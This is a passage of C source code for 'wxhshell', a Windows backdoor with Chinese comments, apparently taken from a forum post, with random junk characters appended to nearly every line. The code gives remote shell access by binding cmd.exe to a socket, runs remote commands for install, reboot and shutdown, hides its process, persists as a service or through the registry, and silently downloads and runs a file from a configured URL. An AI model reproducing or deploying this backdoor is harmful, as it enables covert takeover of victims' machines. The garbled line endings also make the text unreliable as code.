  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j\q1b:pE  
  } ?0hk~8c  
  else { Thn-8DT  
^=bJ _'  
    switch(cmd[0]) { huWUd)Po%  
   /8Bh  
  // 帮助 jIv+=b#oT  
  case '?': { <tuh%k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ].pz  
    break; R}llj$?  
  } &\. LhOm  
  // 安装 3ypB~bNw  
  case 'i': { Sq%BfP)a(  
    if(Install()) 4?><x[l2{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &qz&@!`  
    else ?{\8!_Gvsl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u3Z*hs)Z%  
    break; s!nFc{  
    } /$\yAOA'y  
  // 卸载 k)Z?  
  case 'r': { %<O'\&!,  
    if(Uninstall())  7.CzS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  {3yzC  
    else pwT|T;j*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VhT4c+Zs  
    break; k`Ab*M$@Xs  
    } SEr\ u#  
  // 显示 wxhshell 所在路径 2U2=ja9:Y  
  case 'p': { ?'P8H^K6u  
    char svExeFile[MAX_PATH]; xE;4#+_I  
    strcpy(svExeFile,"\n\r"); D@^ r  
      strcat(svExeFile,ExeFile); %FT F  
        send(wsh,svExeFile,strlen(svExeFile),0); tNjb{(eO\h  
    break; {G&K_~Vj  
    } Tcz67&c |W  
  // 重启 u Zz^>* b  
  case 'b': { Z$X2*k6PK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7SoxsT)  
    if(Boot(REBOOT)) TmH#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FfI $3:9  
    else { xVuGean Cv  
    closesocket(wsh); j +@1frp  
    ExitThread(0); o ]2=5;)  
    } ,COSpq]6  
    break; (:,N?bg  
    } L q'*B9  
  // 关机 x@m"[u  
  case 'd': { ;Y?7|G97*S  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9Wb9g/L  
    if(Boot(SHUTDOWN)) , =IbZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ']u w,b  
    else { *ls}r5k2Y  
    closesocket(wsh); SgAY/#  
    ExitThread(0); 92]>"  
    } (+4gq6b  
    break; zc'!a"  
    } )+RGXV p  
  // 获取shell  P%xk   
  case 's': { @Q !f^  
    CmdShell(wsh); {O5;V/00}  
    closesocket(wsh); q !7z4Cn  
    ExitThread(0); BEg%u)"([  
    break; `8xmM A_l  
  } 3xsC"c>  
  // 退出 '-D-H}%;}M  
  case 'x': {  X4BDl  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pJ6bX4QnDX  
    CloseIt(wsh); /e|`mu%  
    break; 1FjA   
    } ]r$S{<  
  // 离开 Nj %!N  
  case 'q': { w)&]k#r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |D$U{5}Mv  
    closesocket(wsh); Sl:Qq!  
    WSACleanup(); N1\u~%AT"  
    exit(1); ]8htJ]<|Q  
    break; d5T0#ue/e  
        } |ZJ]`qmZ  
  } @8DB Ln w  
  } 4Mi*bN,  
bo <.7  
  // 提示信息 l4O}>#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I=x   
} pHsp]a  
  } %~4R)bsJ'  
7xVI,\qV  
  return; bo$xonV@y  
} -[~{c]/c  
pA!+;Y!ZB<  
// shell模块句柄 |5F]y"Nb  
int CmdShell(SOCKET sock)  []1VD#  
{ rD%(*|Y"c  
STARTUPINFO si; CP7Zin1S/w  
ZeroMemory(&si,sizeof(si)); AXH4jQw  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G- Sw`HHo  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?fnJ`^|-r  
PROCESS_INFORMATION ProcessInfo; #fG!dD42  
char cmdline[]="cmd"; b^y#.V.|k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HOsq _)K  
  return 0; lc>nU hj.  
} <gZC78}E  
AQbbIngo  
// 自身启动模式 [ \V]tpl!  
int StartFromService(void) \qUmdN{FU  
{ b&*^\hY9b  
typedef struct NqkRR$O  
{ Q6MDhv,  
  DWORD ExitStatus; _R8)%<E  
  DWORD PebBaseAddress; :&2RV_$>=  
  DWORD AffinityMask; .o:Pe2C  
  DWORD BasePriority; u&STGc[  
  ULONG UniqueProcessId; ~Msee+ZZ :  
  ULONG InheritedFromUniqueProcessId; rP2^D[uM.  
}   PROCESS_BASIC_INFORMATION; MGX,JW>L  
)UI T'*ow  
PROCNTQSIP NtQueryInformationProcess; UrH^T;#  
M7eO5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kR-N9|>i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fF_1ZKx+#!  
kkyn>Wxv  
  HANDLE             hProcess; V*5:Vt7N  
  PROCESS_BASIC_INFORMATION pbi; .m;1V6  
WQv~<]1J F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @-kzSm  
  if(NULL == hInst ) return 0; , y{o!w  
\&2GLBKpe  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;#EB0TK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cw/g1,p  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V>gEF'g  
F!|Z_6\tv:  
  if (!NtQueryInformationProcess) return 0; HpDU:m  
~b3xn T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G/Kz_Y,  
  if(!hProcess) return 0; | (v/>t  
? 4qN>uW=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qk~QcVg  
[jD O8n/  
  CloseHandle(hProcess); #ZCgpg$wM  
xPQO}wKa  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x@v,qF$K  
if(hProcess==NULL) return 0; WB6g i2  
gSZ NsiH  
HMODULE hMod; >kz5azV0  
char procName[255]; V/"0'H\"1  
unsigned long cbNeeded; 6xk"bIp  
9{70l539  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +3s i=x\=/  
q jDW A'  
  CloseHandle(hProcess); (66X  
gLl?e8[F  
if(strstr(procName,"services")) return 1; // 以服务启动 pF K[b  
z+PSx'#}  
  return 0; // 注册表启动 Hi,_qlc+  
} D<L]'  
C(?>l.QGw  
// 主模块 ;)0vxcMB  
int StartWxhshell(LPSTR lpCmdLine) ]8+%57:E  
{ /:ma}qG y  
  SOCKET wsl; NZ{kjAd3c  
BOOL val=TRUE; L@CN0ezQs  
  int port=0; mgG0uV  
  struct sockaddr_in door; =bN[TD  
o$d; Y2K  
  if(wscfg.ws_autoins) Install(); y\5V (Q\  
P%' bSx1  
port=atoi(lpCmdLine); "!E(= W?  
n_$lRX5  
if(port<=0) port=wscfg.ws_port; ?tqTG2!(  
9VV  
  WSADATA data; H$(%FWzQ%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "}7K>|a  
kVkV~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >5/dmHPc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o[+1O  
  door.sin_family = AF_INET; v :6`(5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $'L(}gNv5  
  door.sin_port = htons(port); [%P_ Y/  
4%\L8:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D*vrQ9&# 8  
closesocket(wsl); p'KU!I }  
return 1; <%>Q$b5  
} [NeOd77y  
Y&Pi`E9=  
  if(listen(wsl,2) == INVALID_SOCKET) { ``w,CP ?  
closesocket(wsl); C~'}RM  
return 1; T*k K-@.i  
} ;?=] ffa{  
  Wxhshell(wsl); \ts:'  
  WSACleanup(); G{+sC2  
=zqOkC h$  
return 0; k/?+jb  
ghbxRnU}  
} n$5,B*  
a3HT1!M)  
// 以NT服务方式启动 &p8K0 |  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LNXhzW   
{ MCL?J,1?r  
DWORD   status = 0; P~ffgzP  
  DWORD   specificError = 0xfffffff; ^q FFF3<8  
[m3G%PO@Da  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^:{l~~9iKp  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5y}}?6n+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .[= 0(NO  
  serviceStatus.dwWin32ExitCode     = 0; -M%n<,XN0  
  serviceStatus.dwServiceSpecificExitCode = 0; Pk~P  
  serviceStatus.dwCheckPoint       = 0; qZKU=HM  
  serviceStatus.dwWaitHint       = 0; t+m$lqm  
aWOApXJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^YenS6`F  
  if (hServiceStatusHandle==0) return; ~`T(mh',  
ZzzQXfA#  
status = GetLastError(); @L{HT8utK3  
  if (status!=NO_ERROR) )3h=V^rm  
{ Q&`$:h.~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LtejLCf/  
    serviceStatus.dwCheckPoint       = 0; "F"G(ba^  
    serviceStatus.dwWaitHint       = 0; !?O:%QG  
    serviceStatus.dwWin32ExitCode     = status; z[z'.{;D  
    serviceStatus.dwServiceSpecificExitCode = specificError; p*#SSR9<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [7|}h/  
    return; =]-!  
  } c!{.BgGN  
pR`.8MMc8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F~W*"i+EZ  
  serviceStatus.dwCheckPoint       = 0; Lkqu"V  
  serviceStatus.dwWaitHint       = 0; 2#T|+mKxZM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r'{pTgm#  
} Sh2q#7hf  
>,uof?  
// 处理NT服务事件,比如:启动、停止 Xw9,O8}C7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e)!X9><J  
{ ]~3wq[O  
switch(fdwControl) zHDC8m  
{ /A|ofAr)  
case SERVICE_CONTROL_STOP: "^22 Y}VB  
  serviceStatus.dwWin32ExitCode = 0; ;\4}Hcg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &>L\unS  
  serviceStatus.dwCheckPoint   = 0; ,o*b-Cv/  
  serviceStatus.dwWaitHint     = 0; Gxm+5q  
  { |],{kUIXO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ""CJlqU  
  } t!D=oBCro  
  return; fm&l 0  
case SERVICE_CONTROL_PAUSE: [#3:CDT  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2ZIf@C{P.  
  break; .Zf#L'Rf  
case SERVICE_CONTROL_CONTINUE: 8N ci1o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ` mALx! `  
  break; w V2 7  
case SERVICE_CONTROL_INTERROGATE: wqA5GK>m2  
  break; )ckx&e  
}; &[R&@l Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N4)& K[  
} YA{Kgc^  
[OH>NpL  
// 标准应用程序主函数 T_v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /YUf(' b  
{ x9-K}s]%  
wnt^WW=a[  
// 获取操作系统版本 ]y.,J  
OsIsNt=GetOsVer(); EU>@k{Qt  
GetModuleFileName(NULL,ExeFile,MAX_PATH); KGP2,U6  
7-W(gD!`  
  // 从命令行安装 w>/KQ> \"  
  if(strpbrk(lpCmdLine,"iI")) Install(); >[ lj8n  
d 'x;]#S  
  // 下载执行文件 8V=I[UF.1?  
if(wscfg.ws_downexe) { E<-}Jc1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `1M_rG1/+  
  WinExec(wscfg.ws_filenam,SW_HIDE); PM%./  
} P4R.~J ;8  
Qbt fKn95  
if(!OsIsNt) { |])%yRAGQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,1^)JshZ~  
HideProc(); zs[t<`2  
StartWxhshell(lpCmdLine); 3Y=T8Gi#  
} Vk0O^o  
else cf0em!  
  if(StartFromService()) FCqs'  
  // 以服务方式启动 Pbm ;@ V  
  StartServiceCtrlDispatcher(DispatchTable); r8^1JJ~\  
else 7@+0E 2'  
  // 普通方式启动 s_D7?o  
  StartWxhshell(lpCmdLine); K8284A8v  
'Nfg%)-N  
return 0; 1D=My1B  
}
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只看该作者 1 发表于: 2006-10-10
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